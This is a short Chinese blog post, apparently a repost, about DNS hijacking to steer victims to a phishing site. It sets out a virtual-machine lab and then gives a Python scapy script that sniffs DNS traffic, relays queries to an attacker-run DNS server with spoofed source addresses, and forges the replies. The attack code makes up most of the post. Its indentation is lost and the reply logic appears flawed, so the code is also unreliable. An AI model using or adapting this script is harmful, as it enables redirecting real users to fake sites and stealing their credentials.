您的位置:首页 > 运维架构 > 网站架构

中级DNS劫持,做钓鱼网站。

2019-06-11 07:30 2486 查看

环境:
配置一个目标网站www.wf.com
设置dns解析www.wf.com
网卡:192.168.88.2
Win7 被欺骗的 ip:192.168.88.143
Win server 2008 DNS服务器 ip:192.168.88.136
选择自己所在的网卡

代码如下:

from scapy.all import *
dnss="192.168.88.136"
xwlan="VMware Virtual Ethernet Adapter for VMnet8"
def task(p):
try:
pip=p[IP]
pudp=p[UDP]
pdns=p[DNS]
if p.dport==53 and pip.dst=="192.168.88.2":  #请求包
#192.168.88.1给假dns发包
send(IP(src="192.168.88.1",dst=dnss,ttl=55)/UDP(sport=p.sport,dport=53)/pdns,iface=xwlan)
mm=pip.src
print(mm)
print("转发查询成功",mm)

#假dns发包给192.168.88.1回包
elif p.sport==53 and pip.src==dnss:     #响应包
#开始造给目标主句造一个假包
mm=pip.src
send(IP(src="192.168.88.2",dst=mm,ttl=55)/UDP(sport=53,dport=p.dport)/pdns,iface=xwlan)
wz=pdns.qname.decode()
print(wz,"转发响应成功")
#except Exception as e:
#print(e)
except:
pass

print("开始攻击")
sniff(iface=xwlan,filter="udp port 53",timeout=300,prn=task)

劫持成功

抓包分析

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: